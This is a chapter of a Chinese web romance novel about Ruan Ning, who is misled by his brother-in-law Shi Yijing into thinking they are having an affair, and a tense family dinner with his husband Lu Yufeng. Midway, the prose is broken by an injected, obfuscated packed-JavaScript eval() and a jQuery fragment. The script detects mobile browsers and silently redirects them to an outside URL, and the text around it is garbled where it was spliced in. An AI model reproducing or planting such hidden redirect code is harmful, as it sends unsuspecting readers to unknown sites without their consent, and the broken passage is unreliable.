阮宁整个人羞耻得快要钻进地里。
所幸电梯下行的箭头在此刻停止,电梯门打开。
阮宁几乎是松了一口气的想要逃出去,却因身后的时一惊,不得不放慢脚步,慢吞吞地走出。
“嫂子怎么不说话?”时一惊问。
阮宁红着耳朵不理人,只埋头走着,单方面将时一惊的声音屏蔽,像只把脑袋埋进沙子里的鸵鸟。
时一惊见此轻笑了声,手从搂住阮宁的腰,改为牵着他的手。
丝毫不觉得,自己如今的举动对于身份是他嫂子的阮宁来说,有些太亲密了。
一整个上午,时一惊都和阮宁在外面,跟在少年身后,看着他动作熟练地买着菜,语气温吞的向卖家询问着一些细节,内心中的随意,也随之慢慢消减。
“你一直都是这样?”
回家的路上,时一惊忍不住出声问阮宁。
“什么?”少年白净的小脸被太阳晒得有些粉,鼻尖顶着几颗汗珠,买到的菜都在时一惊的手中拎着。
时一惊:“就这么喜欢凌于清?”
“嗯……喜欢。”
话落,阮宁微微垂头看着脚尖,不明白为什么总有人问他喜不喜欢凌于清,下一句该不会是要问他,究竟喜欢凌于清哪里吧?
“那你喜欢他什么?”
阮宁心里有种果然如此的感觉,却在仔细回想时,记不清自己究竟被谁这么问过,他抿了抿唇,回想着自己到底喜欢凌于清什么,最终开口道:“喜欢他对我好,虽然有时候很讨厌,但……我知道,他是爱我的。”
一通很像恋爱脑的发言。
时一惊看着身旁小脸红扑扑的阮宁,显然他也觉得自己的回答很离谱,尴尬得不敢抬起头。
莫名的,时一惊想到了自己最开始和阮宁相遇的画面。
那时的阮宁娇气又单纯,不管别人说什么,都会乖乖相信,连他故意对他说得那句“我喜欢你”,都被少年记在了心上,认为是真的,好骗得不像话。
可也正因这句“我喜欢你”,阴差阳错的让阮宁同凌于清结了婚。
——他同父同母的哥哥。
想到这,时一惊眸中划过一抹阴沉,又很快消失不见。
回家的一路上,两人谁都没有先开口说话,直到走入电梯,实在忍不住好奇心的阮宁颤着睫毛,抬起头小声地问时一惊,“我、我们是怎么偷的情啊?”
话落,阮宁白净的耳朵彻底红透。
这是他想了一路,都没有想清的问题。
毕竟按照时一惊的话来说,他之前一直在国外留学,最近才回得国,而自己又一直没有见过他,两人到底是怎么才能在凌于清的眼皮底下,偷上这八竿子都打不着的情。
“什么?”
时一惊愣了一下,随后很快反应过来,看向身旁明明羞耻,却还强装着镇定的阮宁,他虽然不清楚自己究竟哪个行为,让阮宁误以为他们偷过情,但凭着有便宜不占王八蛋的想法,时一惊眼中含着笑意问:“嫂子是在问,我们是怎么偷……的情?”
“是,怎、怎么了吗?”阮宁虚张声势地说,“我难道不能问吗?”
“能,怎么不能。”
时一惊想了想说:“那当然是嫂子先勾/引的我,明明我们才见了一面,嫂子就迫不及待地托朋友要到了我的联系方式,第一句话就是问我,”时一惊学着阮宁慢吞吞地语调,“你……你喜不喜欢我呀?”
阮宁震惊地看向他,不明白他为什么要学自己说话。
而且……还学得那么像。
时一惊道:“我能说什么?嫂子这么漂亮、可爱、善良,不论是谁看了一眼,都喜欢,我当然说喜欢了。”
他突然停下声音,阮宁忍不住追问:“然后呢?”
时一惊却怎么都不说了。
他走出电梯,阮宁就跟在他身后,像个小尾巴,软声闷调地问:“你这个人怎么这么坏啊,然后呢?”
2301门口,不等阮宁开门,就见时一惊熟练地输入了密码,推门进入。
“……”
阮宁睫毛一颤,本能想要跟上的脚步顿住,他看着面前敞开的家门,整个人像是被什么击打了一下,站在原地不动。
只剩下紊乱的心跳提醒着他,这一切的不同寻常。
阮宁脑子很乱。
记忆里,每次丈夫回家,都是按响门铃,等待着他来开门。
可如今,身前说着自己与他偷·情的小叔子,却熟练地输入了门口的密码。
其实这也没什么不对,毕竟如果阮宁真的喜欢他,并且尝试和他在一起了的话,很有可能会把家门的密码告诉他。
不对的是,为什么身为他的丈夫,凌于清每次都不曾尝试过自己打开家门。
这里不是他的房子吗?
甚至连密码,都是那时阮宁和他结婚时,他亲手输入并告诉阮宁的。
“……”
阮宁脸色苍白,抬头看向玄关处,望着他,不明白他为什么突然站住的时一惊,心中想法万千,最终惊疑不定地迈步走到男人身前。
“怎么了?”时一惊问。
阮宁没有说话,又在意识到自己这样不礼貌后,小声说了句“没事”。
“你哪里不舒服吗?还是累到了?我就说你这么娇的身体,不应该去那么远的地方买菜。”
时一惊皱眉,弯下腰,将阮宁抱到沙发上。
看着男人蹲下身,动作熟练地给自己捏着小腿,边揉,时一惊边掀起眼皮说:“真搞不清楚,你到底喜欢凌于清那个死人脸什么。”
“那我该喜欢谁?”阮宁问,指尖抓紧身下的沙发布。
时一惊想也没想地挑了下眉,“我啊。怎么,嫂子要反悔吗?我们不是已经有了‘偷.情’的关系了吗?”
“……”
偌大的客厅里,阮宁的眼睛中好像只有时一惊的身影,许久,他慢吞吞地道:“你喜欢我。”
时一惊手上的动作一顿。
阮宁虽然不聪明,可也不笨。
在还未被系统绑定之前,他就已经知道了,什么是被人喜欢的感觉。
虽然那些人很讨厌,和时一惊让人靠近就能感受到温暖的喜欢完全不同,但他就是知道,那是喜欢。
哪怕它变了个模样,以不再令人讨厌的模样出现,阮宁还是能够感受出来。
“你喜欢我。”阮宁又说了一遍。
他漆黑又圆润的眼睛直勾勾地盯着时一惊,只听男人说:“嗯,我喜欢你。”话落,时一惊又笑了一下,“不然我怎么会心甘情愿地和你‘偷/情’?”男人加重“偷.情”这两个字,颇有些咬牙切齿。
阮宁不说话了。
其实是他不知道该说什么,只好一直看着时一惊。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401193|168691||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
阮宁想说不是的,这种喜欢和偷/情的喜欢是不一样的,只是他不知道该怎么说出口。
傍晚六点三十分。
下了班的陆余丰很快回到了家,他按响门铃,等待着自己的小妻子过来给自己开门。
一分钟不到,面前的门开了。
只可惜,开门的人不是阮宁,而是他的弟弟——时一惊。
陆余丰面上的神情一寸寸变冷,他问:“阮宁呢?”视线朝时一惊身后看去,害怕少年出现什么意外。
时一惊倚靠在门前,看着自己衣冠楚楚的兄长,笑了声,不知是嘲讽还是什么,说:“我的妻子,当然在我们的家里,只是不知道大哥过来做什么?”
陆余丰的成熟稳重与一旁姿态懒散的时一惊形成鲜明对比,“你在阴阳怪气?”
“我哪敢啊。”时一惊还在笑,只是眸底不见丝毫笑意,嗓音也一寸寸变冷,“你和他都是,衣冠楚楚的禽兽。”
陆余丰知道时一惊口中的“他”是谁,冷冷道:“他已经死了。”
“你信吗?”时一惊反问。
陆余丰不说话,只静静地望着他。
“怎么了吗?”正把菜端到餐桌上的阮宁察觉时一惊停留在门口的时间太长,脱下围裙,小跑过来问。
“没事。”时一惊让开一点距离,“是大哥回家了,嫂子,我留在这里吃饭,会不会碍事?”
阮宁看了眼门前气质截然不同的两兄弟,对时一惊说:“怎么会,你……”想到已经发现他们在偷·情的丈夫,阮宁顿了下,还是硬着头皮开口,“你留在这里过夜……都可以。”他看向一旁的陆余丰,小声询问,“对不对啊,老公?”
没有发觉,在他那句“老公”说出口后,面前,时一惊和陆余丰两人同时暗下来的眸子,只不过,一个是不悦和嫉妒,一个是愉悦。
“对。”陆余丰握住阮宁的手,对时一惊说,“弟弟想住多久,就住多久。”
毕竟这是他和阮宁的家。
而他目前的身份,是少年承认的合法丈夫。
时一惊连笑都笑不出来,只紧盯着陆余丰和阮宁相握的手,满脑子仅剩下——“鸠占鹊巢”这四个字。
明明……明明是他先来的。
明明,阮宁爱的人也是他。
餐桌前。
时一惊坐在陆余丰对面,眼睁睁地看着对面,阮宁挑着记忆里丈夫爱吃的菜夹给陆余丰,每一样,曾经都属于他。
只是看着,时一惊胸口就闷得喘不上来气。
在他也夹了一遍那些菜时,阮宁察觉到,愣了下说:“一惊也喜欢吃这些菜吗?你们兄弟的口味好相似。”
说者无心,听者有意。
陆余丰慢慢吃下碗中阮宁夹过来的菜,哪怕其中有两样,自己吃下去会过敏,还是不动声色地咽下肚,淡声说:“毕竟是一起长大的。”
“哪里。”
时一惊冷眼瞧着陆余丰吃下会让他过敏的菜,“这么看来,大哥还真是爱惨了嫂子。”
意味不明的一句话,让阮宁摸不清头脑。
时一惊望着阮宁,不知为什么,阮宁觉得他的眼眶有些红,时一惊说:“嫂子,你真的好笨。”
可他的话没有被阮宁听清,只因在他说这句话的时候,陆余丰的身上突然起了大片疹子,晕倒在了阮宁怀里,并紧紧抓着少年的手。